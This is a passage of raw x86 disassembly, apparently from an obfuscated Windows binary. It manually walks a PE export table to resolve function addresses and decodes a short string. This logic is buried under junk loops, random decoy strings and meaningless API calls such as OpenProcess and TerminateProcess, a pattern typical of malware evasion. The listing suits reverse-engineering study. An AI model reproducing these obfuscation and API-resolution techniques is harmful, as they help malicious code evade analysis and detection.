cmp dword [ecx + eax + 0x78], 0
je 0x4121ea
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x34]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x28], edx
mov eax, 0xffff
mov word [ebp - 0x1c], ax
mov dword [ebp - 0x2a8], 0x4519
mov dword [ebp - 0x4b0], str.tcapiov_lyfheuiz_mfcwvnn_vrcth_leykb_hosmujah_tardtprwr_ddriwqbzd_wnpa_sms_gnrbvmwom_djlkkv_fjngcerd_imxb
cmp dword [ebp - 0x2a8], 0x47cb
jle 0x410339
push 0
call dword [sym.imp.USER32.dll_ShowCursor]
and dword [ebp - 0x190], 0
jmp 0x4102b3
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0x1a7e
jge 0x410333
and dword [ebp - 0x100], 0
jmp 0x4102d5
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0x17e8
jge 0x41032e
mov eax, dword [ebp - 0x190]
xor eax, dword [ebp - 0x100]
cdq
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x344], edx
push dword [ebp - 0x344]
push dword [ebp - 0x348]
lea ecx, [ebp - 0x650]
call fcn.004057cc
pop ecx
pop ecx
mov ecx, eax
call fcn.0040325e
push eax
call fcn.00491288
pop ecx
lea ecx, [ebp - 0x650]
call fcn.0040304b
jmp 0x4102c8
jmp 0x4102a6
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
or dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 4], 0x18
cmp dword [ebp - 0x2a8], 0x440c
jge 0x41035c
push dword [ebp - 0x4b0]
call fcn.00491288
pop ecx
jmp 0x410378
or dword [ebp - 4], 0xffffffff
jmp 0x410382
cmp dword [ebp + 0x10], 0
jbe 0x4103a0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x41039b
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x1c], ax
jmp 0x410dad
mov dword [ebp - 0x2e8], 0x38ce
mov dword [ebp - 0x370], str.qeabf_vebfxaz_vqfuv_vatazb_baqky_siihvob_nxmadjb_famozm_yzru_slfwez_birp
cmp dword [ebp - 0x2e8], 0x3bd6
jle 0x410437
and dword [ebp - 0x210], 0
jmp 0x4103d6
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0x4e13
jge 0x410437
and dword [ebp - 0x108], 0
jmp 0x4103f8
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0x7a06
jge 0x410435
mov eax, dword [ebp - 0x210]
sub eax, dword [ebp - 0x108]
cdq
mov dword [ebp - 0x354], eax
mov dword [ebp - 0x350], edx
push dword [ebp - 0x350]
push dword [ebp - 0x354]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x4103eb
jmp 0x4103c9
mov dword [ebp - 4], 0x1a
cmp dword [ebp - 0x2e8], 0x3871
jge 0x41045a
mov edx, dword [ebp - 0x370]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x410476
or dword [ebp - 4], 0xffffffff
jmp 0x410480
mov eax, dword [0xac01b4]
and eax, 1
jne 0x4104ac
mov eax, dword [0xac01b4]
or eax, 1
mov dword [0xac01b4], eax
mov ecx, 0xac0194
call fcn.0040336b
push 0x4be8a6
call fcn.00490f3f
pop ecx
movzx eax, byte [0xac00d1]
test eax, eax
je 0x410512
mov ecx, 0xac0194
call fcn.0042ba95
movzx eax, al
test eax, eax
jne 0x410512
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x2b0]
push eax
mov ecx, 0xac0194
call fcn.00403343
lea eax, [ebp - 0x510]
push eax
mov ecx, 0xac0194
call fcn.00403335
push eax
lea ecx, [ebp - 0x2b0]
call fcn.00403358
movzx eax, al
test eax, eax
je 0x410512
lea ecx, [ebp - 0x2b0]
call fcn.0042ba9e
mov eax, dword [eax + 4]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffff
jne 0x410dad
mov dword [ebp - 0x308], 0x3f31
mov dword [ebp - 0x470], str.zjdzd_hco_nanonna_hsj_gknsy
cmp dword [ebp - 0x308], 0x4226
jle 0x410626
push 0xae9
push 0x1c6a
push 0x2324
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckRadioButton]
and dword [ebp - 0x1d8], 0
jmp 0x410572
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 0x624b
jge 0x410626
and dword [ebp - 0x198], 0
jmp 0x410598
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0x4021
jge 0x410621
and dword [ebp - 0x110], 0
jmp 0x4105ba
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0x1e94
jge 0x41061c
mov eax, dword [ebp - 0x198]
cdq
idiv dword [ebp - 0x110]
or edx, dword [ebp - 0x1d8]
mov eax, edx
cdq
mov dword [ebp - 0x360], eax
mov dword [ebp - 0x35c], edx
push dword [ebp - 0x35c]
push dword [ebp - 0x360]
lea ecx, [ebp - 0x710]
call fcn.004057cc
pop ecx
pop ecx
mov ecx, eax
call fcn.0040325e
push eax
call fcn.00491288
pop ecx
lea ecx, [ebp - 0x710]
call fcn.0040304b
jmp 0x4105ad
jmp 0x41058b
jmp 0x410565
mov ecx, 0xac0194
call fcn.0042bae2
mov ecx, dword [ebp - 0x28]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0xac0194
call fcn.0042bae6
mov dword [ebp - 4], 0x1c
cmp dword [ebp - 0x308], 0x3bb3
jge 0x410660
push dword [ebp - 0x470]
call fcn.00491288
pop ecx
jmp 0x41067c
or dword [ebp - 4], 0xffffffff
jmp 0x410686
and dword [ebp - 0x38], 0
jmp 0x410693
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x38]
cmp ecx, dword [eax + 0x18]
jae 0x410dad
mov dword [ebp - 0x2b8], 0x76e2
mov dword [ebp - 0x37c], str.uupqczado_toz_xwikru_xags_wsuanxo_zwmvpdcd
cmp dword [ebp - 0x2b8], 0x7a89
jle 0x4107be
and dword [ebp - 0x12c], 0
jmp 0x4106dc
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0xbeb
jge 0x4107b1
and dword [ebp - 0x118], 0
jmp 0x410702
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0x7014
jge 0x4107ac
and dword [ebp - 0x120], 0
jmp 0x410728
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0x74e
jge 0x4107a7
and dword [ebp - 0x48], 0
jmp 0x410741
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x29b6
jge 0x4107a2
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x120]
sar eax, cl
and eax, dword [ebp - 0x48]
or eax, dword [ebp - 0x12c]
cdq
mov dword [ebp - 0x36c], eax
mov dword [ebp - 0x368], edx
push dword [ebp - 0x368]
push dword [ebp - 0x36c]
lea ecx, [ebp - 0x5a8]
call fcn.004057cc
pop ecx
pop ecx
mov ecx, eax
call fcn.0040325e
push eax
call fcn.00491288
pop ecx
lea ecx, [ebp - 0x5a8]
call fcn.0040304b
jmp 0x41073a
jmp 0x41071b
jmp 0x4106f5
jmp 0x4106cf
push 0x530
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x38]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 4], 0x1e
cmp dword [ebp - 0x2b8], 0x7499
jge 0x4107f2
push dword [ebp - 0x37c]
call fcn.00491288
pop ecx
jmp 0x41080e
or dword [ebp - 4], 0xffffffff
jmp 0x410818
cmp dword [ebp - 0x2f0], 0
je 0x410da8
mov dword [ebp - 0x2c0], 0x1a19
mov dword [ebp - 0x4dc], str.rypun_ryalf_jhaqlzkg
cmp dword [ebp - 0x2c0], 0x1dd6
jle 0x4108bc
and dword [ebp - 0x124], 0
jmp 0x41085b
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0x7436
jge 0x4108bc
and dword [ebp - 0x1a0], 0
jmp 0x41087d
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0x74e8
jge 0x4108ba
mov eax, dword [ebp - 0x124]
xor eax, dword [ebp - 0x1a0]
cdq
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x374], edx
push dword [ebp - 0x374]
push dword [ebp - 0x378]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x410870
jmp 0x41084e
mov eax, dword [ebp - 0x2f0]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x560]
call fcn.0042ba12
mov dword [ebp - 4], 0x20
cmp dword [ebp - 0x2c0], 0x19dc
jge 0x4108f6
mov edx, dword [ebp - 0x4dc]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x410912
or dword [ebp - 4], 0xffffffff
jmp 0x41091c
mov dword [ebp - 0x318], 0x74c7
mov dword [ebp - 0x388], str.mejnqbmdh_mgyg_xoy_gjfxyr_dbogfrkel
cmp dword [ebp - 0x318], 0x753c
jle 0x4109b5
and dword [ebp - 0x130], 0
jmp 0x410952
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0x3379
jge 0x4109b5
and dword [ebp - 0x1f8], 0
jmp 0x410974
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0x2cc7
jge 0x4109b3
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x1f8]
shl eax, cl
cdq
mov dword [ebp - 0x384], eax
mov dword [ebp - 0x380], edx
push dword [ebp - 0x380]
push dword [ebp - 0x384]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x410967
jmp 0x410945
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x560]
call fcn.004058f1
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 4], 0x22
cmp dword [ebp - 0x318], 0x736d
jge 0x4109ec
mov edx, dword [ebp - 0x388]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x410a08
or dword [ebp - 4], 0xffffffff
jmp 0x410a12
movzx eax, byte [0xac00d1]
test eax, eax
je 0x410a32
mov ecx, 0xac0194
call fcn.0042ba95
movzx eax, al
test eax, eax
jne 0x410b71
mov dword [ebp - 0x2c8], 0x4f0a
mov dword [ebp - 0x40c], str.mtjgjd_anwgq_qgq
cmp dword [ebp - 0x2c8], 0x5063
jle 0x410b0f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
and dword [ebp - 0x138], 0
jmp 0x410a79
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0x755e
jge 0x410ae7
and dword [ebp - 0x4c], 0
jmp 0x410a92
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0x2169
jge 0x410ae5
mov eax, dword [ebp - 0x138]
sub eax, dword [ebp - 0x4c]
cdq
mov dword [ebp - 0x390], eax
mov dword [ebp - 0x38c], edx
push dword [ebp - 0x38c]
push dword [ebp - 0x390]
lea ecx, [ebp - 0x5d8]
call fcn.004057cc
pop ecx
pop ecx
mov ecx, eax
call fcn.0040325e
push eax
call fcn.00491288
pop ecx
lea ecx, [ebp - 0x5d8]
call fcn.0040304b
jmp 0x410a8b
jmp 0x410a6c
push 0
push 0x1c03
push 0x1967
push 0x11f0
push 0x178e
push 0x5ad
push 0xb1
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
lea eax, [ebp - 0x2f8]
push eax
mov ecx, 0xac0194
call fcn.0042baa4
mov ecx, dword [ebp - 0x38]
mov dword [eax], ecx
mov dword [ebp - 4], 0x24
cmp dword [ebp - 0x2c8], 0x4d2c
jge 0x410b44
push dword [ebp - 0x40c]
call fcn.00491288
pop ecx
jmp 0x410b60
or dword [ebp - 4], 0xffffffff
jmp 0x410b6a
mov byte [0xac00d1], 1
mov dword [ebp - 0x27c], 0x305d
mov dword [ebp - 0x414], str.mztqzyk_xwwqal_opdqx_syn
cmp dword [ebp - 0x27c], 0x3315
jle 0x410c2a
and dword [ebp - 0x64], 0
jmp 0x410ba2
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x69ba
jge 0x410c2a
and dword [ebp - 0x54], 0
jmp 0x410bb8
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x18c5
jge 0x410c25
and dword [ebp - 0x5c], 0
jmp 0x410bce
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x786a
jge 0x410c23
and dword [ebp - 0x6c], 0
jmp 0x410be4
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0x4018
jge 0x410c21
mov ecx, dword [ebp - 0x54]
imul ecx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x64]
shl eax, cl
or eax, dword [ebp - 0x6c]
cdq
mov dword [ebp - 0x39c], eax
mov dword [ebp - 0x398], edx
push dword [ebp - 0x398]
push dword [ebp - 0x39c]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x410bdd
jmp 0x410bc7
jmp 0x410bb1
jmp 0x410b9b
cmp dword [ebp - 0x30], 0xffffffff
jne 0x410d54
mov eax, dword [ebp - 0x2f8]
cmp eax, dword [ebp - 0x74]
jne 0x410d54
mov dword [ebp - 0x278], 0x3766
mov dword [ebp - 0x394], str.jnjcpynah_acx_cjx_pyhdu_qfoua_jeobu_xoa_icpntns_qbls_skc
cmp dword [ebp - 0x278], 0x37e9
jle 0x410d05
and dword [ebp - 0x7c], 0
jmp 0x410c74
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0x6466
jge 0x410d05
and dword [ebp - 0x84], 0
jmp 0x410c97
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0x4997
jge 0x410d00
and dword [ebp - 0x8c], 0
jmp 0x410cb9
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0x2727
jge 0x410cfe
mov eax, dword [ebp - 0x7c]
cdq
idiv dword [ebp - 0x84]
mov ecx, dword [ebp - 0x8c]
shl edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x3a8], eax
mov dword [ebp - 0x3a4], edx
push dword [ebp - 0x3a4]
push dword [ebp - 0x3a8]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x410cac
jmp 0x410c8a
jmp 0x410c6d
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x30], eax
mov dword [ebp - 4], 0x26
cmp dword [ebp - 0x278], 0x363a
jge 0x410d2e
mov edx, dword [ebp - 0x394]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x410d4a
or dword [ebp - 4], 0xffffffff
jmp 0x410d54
mov dword [ebp - 4], 0x28
cmp dword [ebp - 0x27c], 0x2ea0
jge 0x410d77
mov edx, dword [ebp - 0x414]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x410d93
or dword [ebp - 4], 0xffffffff
jmp 0x410d9d
lea ecx, [ebp - 0x560]
call fcn.00403202
jmp 0x41068c
mov dword [ebp - 0x284], 0x39df
mov dword [ebp - 0x3a0], str.ttcmurqgx_qpvbiq_eiaxuhuwe_byoqjt_peswbmhvl_ghg_kjeztiijb_une_hpk_oagjfqb_rfdk
cmp dword [ebp - 0x284], 0x3a57
jle 0x410e7b
and dword [ebp - 0xa4], 0
jmp 0x410de7
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0x302d
jge 0x410e7b
and dword [ebp - 0x94], 0
jmp 0x410e0d
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0x1707
jge 0x410e76
and dword [ebp - 0x9c], 0
jmp 0x410e2f
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0x374c
jge 0x410e74
mov ecx, dword [ebp - 0x94]
add ecx, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xa4]
shl eax, cl
cdq
mov dword [ebp - 0x3b4], eax
mov dword [ebp - 0x3b0], edx
push dword [ebp - 0x3b0]
push dword [ebp - 0x3b4]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x410e22
jmp 0x410e00
jmp 0x410dda
cmp dword [ebp + 0x10], 0
jne 0x410e9b
cmp dword [ebp - 0x30], 0xffffffff
je 0x410e9b
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x30]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x1c], ax
mov dword [ebp - 4], 0x2a
cmp dword [ebp - 0x284], 0x364b
jge 0x410ebe
mov edx, dword [ebp - 0x3a0]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x410eda
or dword [ebp - 4], 0xffffffff
jmp 0x410ee4
movzx eax, word [ebp - 0x1c]
cmp eax, 0xffff
je 0x4121ea
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax + 0x1c]
movzx eax, word [ebp - 0x1c]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x2fc], 0x441c
mov dword [ebp - 0x46c], str.jopqnc_tgqlns_idmx_hcufl_dpefwetup_jwomzqncv_jdfua_jsq_uno_tbv_yjx_rzf
cmp dword [ebp - 0x2fc], 0x46b3
jle 0x411017
and dword [ebp - 0xac], 0
jmp 0x410f51
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0x7a6d
jge 0x411017
and dword [ebp - 0xb4], 0
jmp 0x410f77
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0x7219
jge 0x411012
and dword [ebp - 0xbc], 0
jmp 0x410f9d
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0x6d0f
jge 0x41100d
and dword [ebp - 0xc4], 0
jmp 0x410fbf
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0x77ae
jge 0x41100b
mov eax, dword [ebp - 0xac]
and eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xbc]
imul ecx, dword [ebp - 0xc4]
or eax, ecx
cdq
mov dword [ebp - 0x3c0], eax
mov dword [ebp - 0x3bc], edx
push dword [ebp - 0x3bc]
push dword [ebp - 0x3c0]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x410fb2
jmp 0x410f90
jmp 0x410f6a
jmp 0x410f44
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x28]
jbe 0x4120b9
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x28]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0x24], edx
jae 0x4120b9
mov dword [ebp - 0x28c], 0x4f6f
mov dword [ebp - 0x3ac], str.fos_evimik_nexd
cmp dword [ebp - 0x28c], 0x526b
jle 0x4110d4
and dword [ebp - 0xcc], 0
jmp 0x411072
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0x816
jge 0x4110d4
and dword [ebp - 0xd4], 0
jmp 0x411094
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0x2245
jge 0x4110d2
mov eax, dword [ebp - 0xcc]
imul eax, dword [ebp - 0xd4]
cdq
mov dword [ebp - 0x3cc], eax
mov dword [ebp - 0x3c8], edx
push dword [ebp - 0x3c8]
push dword [ebp - 0x3cc]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x411087
jmp 0x411065
mov eax, dword [0xac01b4]
and eax, 2
jne 0x4110fb
mov eax, dword [0xac01b4]
or eax, 2
mov dword [0xac01b4], eax
push 0x598d
call fcn.00401d14
pop ecx
mov byte [0xac01c0], al
mov dword [ebp - 4], 0x2c
cmp dword [ebp - 0x28c], 0x4cfe
jge 0x41111e
mov edx, dword [ebp - 0x3ac]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x41113a
or dword [ebp - 4], 0xffffffff
jmp 0x411144
mov dword [ebp - 0x294], 0x1d5a
mov dword [ebp - 0x42c], str.mgp_lyzrl_yrfkv_teudxvxs_dfzuyw_rxh_zbqyrlfqz_hxvqtamiv
cmp dword [ebp - 0x294], 0x1fe2
jle 0x4111de
and dword [ebp - 0xdc], 0
jmp 0x41117a
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x1c44
jge 0x4111de
and dword [ebp - 0xe4], 0
jmp 0x41119c
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0x7441
jge 0x4111dc
mov eax, dword [ebp - 0xdc]
cdq
idiv dword [ebp - 0xe4]
mov eax, edx
cdq
mov dword [ebp - 0x3d8], eax
mov dword [ebp - 0x3d4], edx
push dword [ebp - 0x3d4]
push dword [ebp - 0x3d8]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x41118f
jmp 0x41116d
mov dword [ebp - 4], 0x2e
cmp dword [ebp - 0x294], 0x1ac7
jge 0x411201
mov edx, dword [ebp - 0x42c]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x41121d
or dword [ebp - 4], 0xffffffff
jmp 0x411227
mov byte [ebp - 0x44], 0
mov byte [ebp - 0x43], 0x65
mov byte [ebp - 0x42], 1
mov byte [ebp - 0x41], 2
mov byte [ebp - 0x40], 0x6f
mov byte [ebp - 0x3f], 1
mov byte [ebp - 0x3e], 0x71
and dword [ebp - 0x20], 0
and dword [ebp - 0x2a4], 0
jmp 0x411258
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 7
jae 0x411475
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x44]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x411424
mov dword [ebp - 0x2a4], 1
mov dword [ebp - 0x29c], 0x2780
mov dword [ebp - 0x3b8], str.udzndau_kbxs_axkrkivsb_kaisoe_jrtpphfb_tfji_wujttjur_juxgalm
cmp dword [ebp - 0x29c], 0x281b
jle 0x4113d3
push 0x6ca
push 0
push 0x243f
call dword [sym.imp.KERNEL32.dll_OpenProcess]
and dword [ebp - 0xec], 0
jmp 0x4112d0
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0x177f
jge 0x4113b8
and dword [ebp - 0xf4], 0
jmp 0x4112f6
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0x3817
jge 0x4113b3
and dword [ebp - 0xfc], 0
jmp 0x41131c
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0x7c12
jge 0x4113ae
and dword [ebp - 0x104], 0
jmp 0x411342
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0x7dca
jge 0x4113a9
mov eax, dword [ebp - 0xec]
imul eax, dword [ebp - 0xf4]
imul eax, dword [ebp - 0xfc]
and eax, dword [ebp - 0x104]
cdq
mov dword [ebp - 0x3e4], eax
mov dword [ebp - 0x3e0], edx
push dword [ebp - 0x3e0]
push dword [ebp - 0x3e4]
lea ecx, [ebp - 0x608]
call fcn.004057cc
pop ecx
pop ecx
mov ecx, eax
call fcn.0040325e
push eax
call fcn.00491288
pop ecx
lea ecx, [ebp - 0x608]
call fcn.0040304b
jmp 0x411335
jmp 0x41130f
jmp 0x4112e9
jmp 0x4112c3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
mov eax, dword [ebp - 0x20]
dec eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0x30
cmp dword [ebp - 0x29c], 0x25b3
jge 0x4113f9
push dword [ebp - 0x3b8]
call fcn.00491288
pop ecx
jmp 0x411415
or dword [ebp - 4], 0xffffffff
jmp 0x41141f
jmp 0x411250
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x43]
sub eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x2a4]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jge 0x41145b
mov eax, dword [ebp - 0x10c]
add eax, 0x100
mov dword [ebp - 0x10c], eax
jmp 0x41143f
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x44]
mov cl, byte [ebp - 0x10c]
mov byte [ebp + eax - 0x270], cl
jmp 0x411250
mov dword [ebp - 0x2ac], 0x22e7
mov dword [ebp - 0x438], str.dnjhty_xpni_wvv_eixa_iebtio_htibqo_wizke_jvqj_htojr_cxljz_ydw
cmp dword [ebp - 0x2ac], 0x2494
jle 0x411576
and dword [ebp - 0x114], 0
jmp 0x4114af
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0x1673
jge 0x411576
and dword [ebp - 0x11c], 0
jmp 0x4114d5
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0x68a7
jge 0x411571
and dword [ebp - 0x134], 0
jmp 0x4114fb
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0x5347
jge 0x41156c
and dword [ebp - 0x13c], 0
jmp 0x41151d
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0x6a24
jge 0x41156a
mov eax, dword [ebp - 0x114]
imul eax, dword [ebp - 0x11c]
cdq
idiv dword [ebp - 0x134]
and edx, dword [ebp - 0x13c]
mov eax, edx
cdq
mov dword [ebp - 0x3f0], eax
mov dword [ebp - 0x3ec], edx
push dword [ebp - 0x3ec]
push dword [ebp - 0x3f0]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x411510
jmp 0x4114ee
jmp 0x4114c8
jmp 0x4114a2
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x270], 0
mov dword [ebp - 4], 0x32
cmp dword [ebp - 0x2ac], 0x20a8
jge 0x4115a7
mov edx, dword [ebp - 0x438]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x4115c3
or dword [ebp - 4], 0xffffffff
jmp 0x4115cd
mov eax, dword [0xac01b4]
and eax, 4
jne 0x411600
mov eax, dword [0xac01b4]
or eax, 4
mov dword [0xac01b4], eax
lea eax, [ebp - 0x270]
push eax
mov ecx, 0xac0214
call fcn.0042ba12
push 0x4be897
call fcn.00490f3f
pop ecx
mov dword [ebp - 0x2bc], 0x2674
mov dword [ebp - 0x444], str.hvq_fyijnmgp_wzxwof_vmlkyzg_fyq_kqklye_twxunarv_qvup_orzd
cmp dword [ebp - 0x2bc], 0x28aa
jle 0x4116ba
and dword [ebp - 0x144], 0
jmp 0x41163a
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0x396a
jge 0x4116ba
and dword [ebp - 0x14c], 0
jmp 0x41165c
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0x4d70
jge 0x4116b5
mov eax, dword [ebp - 0x144]
add eax, dword [ebp - 0x14c]
cdq
mov dword [ebp - 0x3fc], eax
mov dword [ebp - 0x3f8], edx
push dword [ebp - 0x3f8]
push dword [ebp - 0x3fc]
lea ecx, [ebp - 0x638]
call fcn.004057cc
